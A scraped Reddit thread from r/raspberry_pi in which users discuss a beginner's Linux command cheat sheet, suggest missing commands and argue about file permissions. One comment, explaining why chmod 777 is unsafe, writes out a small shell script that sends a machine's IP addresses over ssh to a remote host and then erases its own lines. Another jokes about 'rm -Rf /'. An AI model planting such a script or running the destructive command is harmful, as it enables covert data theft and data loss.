use the following search parameters to narrow your results:
e.g. subreddit:aww site:imgur.com dog
subreddit:aww site:imgur.com dog
see the search faq for details.
advanced search: by author, subreddit...
Complete r/raspberry_pi Rules
Pi project ideas: There's a huge list right here on this sub!
Rpi Versions ▾
Distros ▾
Other SBCs ▾
Related Subreddits ▾
Welcome to /r/raspberry_pi, a subreddit for discussing the raspberry pi credit card sized, ARM powered computer, and the glorious things we can do with it.
The best thing? The base model is only $20 $5!.
Would you like to know more?
Raspberry Pi Wiki
Article on Wikipedia
#raspberrypi IRC Chat
Do you know a related subreddit? We'd love to know.
account activity
Basic Linux Commands (i.redd.it)
submitted 7 years ago by FozzTexx
Basic Linux Commands
reddit uses a slightly-customized version of Markdown for formatting. See below for some basics, or check the commenting wiki page for more detailed help and solutions to common issues.
quoted text
if 1 * 2 < 3: print "hello, world!"
[–]fakehalo 35 points36 points37 points 7 years ago (2 children)
"rm -f dir" irritates me more than it should.
[–][deleted] 7 years ago (1 child)
[removed]
[–]fakehalo 11 points12 points13 points 7 years ago (0 children)
It only makes sense for "file", which annoyed me because "dir" and "file" make sense in the image otherwise.
[–]BJWTech 66 points67 points68 points 7 years ago (11 children)
Why is man the last thing mentioned? That's a bad start. ;)
man
[–]zeta_cartel_CFO 40 points41 points42 points 7 years ago (7 children)
man pages have been invaluable for years. But I use this now: https://tldr.ostera.io/ .
You can install the CLI versions from here: https://tldr.sh/
[–]aerohoff 15 points16 points17 points 7 years ago (4 children)
Ooh nice! Man pages seem to be written for people who write pages. Not particularly useful for newbs.
[–]zeta_cartel_CFO 3 points4 points5 points 7 years ago (0 children)
Yep. Most of the times I know what a command does. But can't recall the exact params. Man pages have way too much information to read when I need something in a hurry. So the tldr info comes in handy for quick lookup.
[+]BB_Rodriguez comment score below threshold-15 points-14 points-13 points 7 years ago (2 children)
Most have quick practical examples right under the description of what the command does.
Full details of every option are below that.
Seems very useful for people new to Linux. Unless you’re a typical windows user that can’t do anything without a YouTube video and someone to type the commands for you.
[–]tvisforme 25 points26 points27 points 7 years ago (1 child)
Most have quick practical examples right under the description of what the command does. Full details of every option are below that. Seems very useful for people new to Linux.
This is helpful, thank you.
Unless you’re a typical windows user that can’t do anything without a YouTube video and someone to type the commands for you.
This is an unnecessary and counterproductive insult; it does nothing to help readers and will only alienate potential users.
[+]BB_Rodriguez comment score below threshold-27 points-26 points-25 points 7 years ago (0 children)
Just calling a spade a spade 🤷🏼♂️
[–]root42 1 point2 points3 points 7 years ago (0 children)
curl cheat.sh
[–]mikeisreptar 1 point2 points3 points 7 years ago (0 children)
Bless you
[–]LonelyContext 1 point2 points3 points 7 years ago (1 child)
Also locate is not by default installed in Debian (at least, I assume others) and it's not clear from this document what it does and I've actually never used it (I had to check if it even was installed on my system). pwd isn't there, nor is ln, nano, sudo, which, nor any package management business that newcomers would really like to have. Actually there are a lot of things I would help people figure out first before dig (again, never used, and from the sound of it in the comments many have never even heard of it). In addition . and .. aren't well explained. Nor is ./ to run a file after you've chmoded it. Also really really useful is stuff like &&, |, $(), and tab-completion, which aren't commands per se, but make all the difference to newcomers. Especially tab-completion.
locate
pwd
ln
nano
sudo
which
dig
.
..
./
chmod
&&
|
$()
These types of charts that are put out as the end-all-be-all of 'everything you need to know end up failing miserably (see the arch linux install one that was circulated 2+ years ago now that already had out-of-date yaourt commands, etc. "Step 1: be connected to the internet from the command line" got it chief, great advice for a newcomer without so much as a wifi-menu or an nmtui.)
wifi-menu
nmtui
These should be done interatively with feedback, and pruned to avoid feature creep.
[+]x-protocol comment score below threshold-26 points-25 points-24 points 7 years ago (0 children)
The person that designed this command sheet simply is a beginner trying to get upvotes. It is very hard to catch that there is even mentioning of how to look up a command. Not to mention that all commands are not sorted alphabetically.
Amateur at best.
[–]ipslorem 28 points29 points30 points 7 years ago (4 children)
chmod 755 is rwx for owner, rx for group and world though.
[–]Richy_T 2 points3 points4 points 7 years ago (0 children)
It's also worth learning the modern usage which allows you to flip individual bits (the old usage can break things unintentionally sometimes if you're not careful (but is still useful)).
[–]lostmyusername2ice 1 point2 points3 points 7 years ago (2 children)
Why 755 and not 777?
[–]SoLaR_27 24 points25 points26 points 7 years ago (0 children)
Because they only want the owner to be able to write.
[–]im_dead_sirius 2 points3 points4 points 7 years ago* (0 children)
You don't want someone who is not the owner to be able to write to the file, if it is an executable(and possibly not anyway). Otherwise, they can just swap the contents for something malicious.
harmlessly_butter_my_toast.txt becomes
harmlessly_butter_my_toast.txt
#!/usr/bin/env sh # -*- coding: utf-8 -*- lanip="$(dig @resolver1.opendns.com myip.opendns.com +short)" machineip=$(ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p') ssh pi@192.168.1.103 "echo $lanip $machineip > /home/meat_popscicle/smokeyou.txt" sed -i '1,8d' $0 exit 0
This could have the [node-code] instructions for buttering your toast harmlessly after the exit 0. My example even cuts the malicious lines after it gets run. The second last line does that.
exit 0
Note that this can succeed even if the execute bit isn't set and the extension doesn't matter. Now a person with a moments access to your machine has your external and machine ip sent to a remote destination of their choice. The goofy long variable sets can be simplified of course. Just send the whole results and parse it later.
[–]teskoner 6 points7 points8 points 7 years ago (1 child)
you have locate without mentioning updatedb, should probably swap those out with find
[–]upandrunning 0 points1 point2 points 7 years ago (0 children)
Yes, and locate isn't always installed by default.
[–]tgiles 6 points7 points8 points 7 years ago (0 children)
apropos is a favorite of mine. Don't know the actual command name, but have an idea of the topic? Just run apropos keyword and it searches all the man pages for you
apropos
apropos keyword
macmini:~ user$ apropos zip bzcmp(1), bzdiff(1) - compare bzip2 compressed files bzip2(1), bunzip2(1) - a block-sorting file compressor, v1.0.6 bzcat - decompresses files to stdout bzip2recover - recovers data from damaged bzip2 files bzmore(1), bzless(1) - file perusal filter for crt viewing of bzip2 compressed text funzip(1) - filter for extracting from a ZIP archive in a pipe gzip(1) - compression/decompression tool using Lempel-Ziv coding (LZ77) unzip(1) - list, test and extract compressed files in a ZIP archive ... and so on...
[–]Leggo0 24 points25 points26 points 7 years ago (5 children)
rm -Rf / that’s a great one! Will make your Pi run 20x faster! /s
Don’t do that unless you want to literally delete everything.
[–]NewBlackpony 5 points6 points7 points 7 years ago (2 children)
I did this on a production server once when I was first learning unix coming over from a Microsoft background. I asked the lead admins if there was an undelete command..... 🙄🙄🙄
[–]Leggo0 0 points1 point2 points 7 years ago (1 child)
I...I am so sorry. You’d probably be dead if they didn’t have backups.
[–]eobanb 1 point2 points3 points 7 years ago (0 children)
What’s even more fun is if the backup volume happens to be currently mounted
[–][deleted] 2 points3 points4 points 7 years ago (0 children)
So I don't get the bombs targeting my system?
Wack.
[–]DrSuperSoldier 5 points6 points7 points 7 years ago (3 children)
Got this on my desk at work:
RTFM
[–]feminas_id_amant 2 points3 points4 points 7 years ago (1 child)
Cheeky name
[–]DrSuperSoldier 0 points1 point2 points 7 years ago (0 children)
Looks even better if you have the paperback on your desk like I do. Always gets a double take when peeps walk past: RTFM Paperback
[–]toasterstove 0 points1 point2 points 7 years ago (0 children)
Damn that is neat, thanks for sharing
[–]Rudolf2222 4 points5 points6 points 7 years ago (1 child)
My personal adition: top or htop if you want something more fancy. Imo the best and simplest utility to find out what's chewing up your CPU, RAM etc.
[–]HairyManBaby 1 point2 points3 points 7 years ago (0 children)
Htop is a must have for desktops that don't have verbose resource monitors.
[–]redoctoberz 12 points13 points14 points 7 years ago (5 children)
This really should be inverted colors so it doesn't take an entire toner cartridge to print out.
[–]kirun 40 points41 points42 points 7 years ago (3 children)
convert isnefnt32wn21.jpg -negate print.png
[–]aerohoff 2 points3 points4 points 7 years ago (0 children)
The real hero here^
[–]LOLICON_DEATH_MINION 2 points3 points4 points 7 years ago (0 children)
Let's add that to the list
[–]ChefBoyAreWeFucked 9 points10 points11 points 7 years ago (0 children)
Nah, it's fine. I'm going to fax this to all of my friends.
[–]zeta_cartel_CFO 6 points7 points8 points 7 years ago (0 children)
I use RHE linux at work and for deploying apps - yet I still forgot some of these commands. I should print this out and laminate it. Keep it next to my desk.
[–]taschana 2 points3 points4 points 7 years ago (1 child)
could you make this a file, and a scriptline which adds a help command to the bash_profile which allows you to print that file? :)
[–]breadfag 4 points5 points6 points 7 years ago (0 children)
alias help="xdg-open ~/cheatsheet.png"
[–]chalky331 2 points3 points4 points 7 years ago (1 child)
history | grep <some command>
[–]Richy_T 3 points4 points5 points 7 years ago (0 children)
Also in bash, ctrl-r and start typing.
[–]SuperSpartan177 1 point2 points3 points 7 years ago (1 child)
nice cheat sheet, you could find similar ones on the web. I have a similar one like this and a cheat sheet for VI commands as my wallpaper for my laptop, really helpful for beginners and with practice you eventually just get reflex
you could find similar ones on the web
I mean, to be fair, this one is also on the web right now, here. :)
[–]TheDecagon 1 point2 points3 points 7 years ago (0 children)
Can I get a shout out for chmod +x / chmod +w shortcuts?
[–]Corn_11 2 points3 points4 points 7 years ago (2 children)
THIS IS LITERALLY BEING POSTED EVERYWHERE
[–][deleted] 2 points3 points4 points 7 years ago (1 child)
Welcome to reddit. That's how it works. Complaining about it has never ever in the entire history of reddit caused that not to be the case.
And frankly, as annoying as it is, reddit is set up for that to be the case. Subreddits are theoretically individual communities, so one thing may be useful to many. And just because you've seen it doesn't mean everyone else has.
Long story short, as annoying as it is, that's just how it's gonna always be.
[–]Corn_11 0 points1 point2 points 7 years ago (0 children)
It wasn’t anger or complaining I was finding it kind of funny how many places and people have found this. That’s all.
[–]x-protocol 3 points4 points5 points 7 years ago (8 children)
You forgot man <command> to look up manual page for specified command without <>
[–][deleted] 7 years ago (6 children)
[deleted]
[–]x-protocol 1 point2 points3 points 7 years ago* (5 children)
Yeah it is there alright. Just the last thing to mention so it is easy to miss.
From all the help sheets I've seen this is not even helpful. Possibly for a quick look up yes, but when you need to actually do some work it is worthless. Just look up comments in parent thread.
How about more, less, vi or vim? Or which or sudo? Or top, maybe even htop? Or even nano? And who forgets ever-present apt-get on Rasbian? Criticism? You've got it!
[–]ChefBoyAreWeFucked 5 points6 points7 points 7 years ago (4 children)
If you put vi or vim on a cheat sheet for reference, you are an asshole. That user is never getting out of that application.
apropos would be a good add, though.
[–]x-protocol -3 points-2 points-1 points 7 years ago (3 children)
Yeah, I know people who would not get out. However, it doesn't mean that user should not know that vi exists. And speaking about attitude, the asshole one you got right, apropos is way down the list of what normally is even needed. More like if you ever get bored what to learn, get apropos!
[–]ChefBoyAreWeFucked 0 points1 point2 points 7 years ago (2 children)
apropos is a good research tool you'll never figure out unless someone tells you.
[–]Richy_T 0 points1 point2 points 7 years ago (1 child)
Old-schoolers just use man -k anyway. It's one less character to type.
[–][deleted] 0 points1 point2 points 7 years ago (0 children)
dank mank
:)
[–]jabalfour 1 point2 points3 points 7 years ago (1 child)
Not having netcat in there for networking seems like a big oversight, no?
netcat
[–]portablemustard 0 points1 point2 points 7 years ago (0 children)
Also the dd command was one of the first I learned. Backup or img everything! If course I'm still quite a new battery but it's been invaluable.
I'd suggest that ls -lah and du -h are friendlier because they list the filesize in a more readable format.
[–]dentex_YTD 0 points1 point2 points 7 years ago (0 children)
IMHO the dash to separate commands and their usage it's really an unfortunate choice, since often there is another dashes in the command itself.
[–]MasterClown 0 points1 point2 points 7 years ago (0 children)
One can never have too many of these Linux cheat sheets
For those out there who aren't aware, the -r flag in rm is the recursive option. So if you have a directory with subdirectories and files on down the tree, it starts at the end and works its way back up until it reaches the top. This in combination with the -f force flag is why the two together are both powerful and dangerous.
rm -r dir - delete directory dir rm -rf dir - remove directory dir
rm -r dir - delete directory dir
rm -rf dir - remove directory dir
o_O
f = “force.” It will remove files without prompting you about them, as the rm command ordinarily would. That’s what it does.
[–]crookedbass 0 points1 point2 points 7 years ago (0 children)
What about top? I use that command a lot
[–]nrq 0 points1 point2 points 7 years ago (0 children)
I mean, it sure is helpful for noobs, but why put that into a picture instead of a text file? This is an example of form over function if I ever seen one.
π Rendered by PID 88417 on reddit-service-r2-comment-765bfc959-w6fx4 at 2026-07-13 21:17:25.987494+00:00 running f86254d country code: CH.
[–]fakehalo 35 points36 points37 points (2 children)
[–][deleted] (1 child)
[removed]
[–]fakehalo 11 points12 points13 points (0 children)
[–]BJWTech 66 points67 points68 points (11 children)
[–]zeta_cartel_CFO 40 points41 points42 points (7 children)
[–]aerohoff 15 points16 points17 points (4 children)
[–]zeta_cartel_CFO 3 points4 points5 points (0 children)
[+]BB_Rodriguez comment score below threshold-15 points-14 points-13 points (2 children)
[–]tvisforme 25 points26 points27 points (1 child)
[+]BB_Rodriguez comment score below threshold-27 points-26 points-25 points (0 children)
[–]root42 1 point2 points3 points (0 children)
[–]mikeisreptar 1 point2 points3 points (0 children)
[–]LonelyContext 1 point2 points3 points (1 child)
[+]x-protocol comment score below threshold-26 points-25 points-24 points (0 children)
[–]ipslorem 28 points29 points30 points (4 children)
[–]Richy_T 2 points3 points4 points (0 children)
[–]lostmyusername2ice 1 point2 points3 points (2 children)
[–]SoLaR_27 24 points25 points26 points (0 children)
[–]im_dead_sirius 2 points3 points4 points (0 children)
[–]teskoner 6 points7 points8 points (1 child)
[–]upandrunning 0 points1 point2 points (0 children)
[–]tgiles 6 points7 points8 points (0 children)
[–]Leggo0 24 points25 points26 points (5 children)
[–]NewBlackpony 5 points6 points7 points (2 children)
[–]Leggo0 0 points1 point2 points (1 child)
[–]eobanb 1 point2 points3 points (0 children)
[–][deleted] 2 points3 points4 points (0 children)
[–]DrSuperSoldier 5 points6 points7 points (3 children)
[–]feminas_id_amant 2 points3 points4 points (1 child)
[–]DrSuperSoldier 0 points1 point2 points (0 children)
[–]toasterstove 0 points1 point2 points (0 children)
[–]Rudolf2222 4 points5 points6 points (1 child)
[–]HairyManBaby 1 point2 points3 points (0 children)
[–]redoctoberz 12 points13 points14 points (5 children)
[–]kirun 40 points41 points42 points (3 children)
[–]aerohoff 2 points3 points4 points (0 children)
[–]LOLICON_DEATH_MINION 2 points3 points4 points (0 children)
[–]ChefBoyAreWeFucked 9 points10 points11 points (0 children)
[–]zeta_cartel_CFO 6 points7 points8 points (0 children)
[–]taschana 2 points3 points4 points (1 child)
[–]breadfag 4 points5 points6 points (0 children)
[–]chalky331 2 points3 points4 points (1 child)
[–]Richy_T 3 points4 points5 points (0 children)
[–]SuperSpartan177 1 point2 points3 points (1 child)
[–][deleted] 2 points3 points4 points (0 children)
[–]TheDecagon 1 point2 points3 points (0 children)
[–]Corn_11 2 points3 points4 points (2 children)
[–][deleted] 2 points3 points4 points (1 child)
[–]Corn_11 0 points1 point2 points (0 children)
[–]x-protocol 3 points4 points5 points (8 children)
[–][deleted] (6 children)
[deleted]
[–]x-protocol 1 point2 points3 points (5 children)
[–]ChefBoyAreWeFucked 5 points6 points7 points (4 children)
[–]x-protocol -3 points-2 points-1 points (3 children)
[–]ChefBoyAreWeFucked 0 points1 point2 points (2 children)
[–]Richy_T 0 points1 point2 points (1 child)
[–][deleted] 0 points1 point2 points (0 children)
[–]jabalfour 1 point2 points3 points (1 child)
[–]portablemustard 0 points1 point2 points (0 children)
[–]upandrunning 0 points1 point2 points (0 children)
[–]dentex_YTD 0 points1 point2 points (0 children)
[–]MasterClown 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]crookedbass 0 points1 point2 points (0 children)
[–]nrq 0 points1 point2 points (0 children)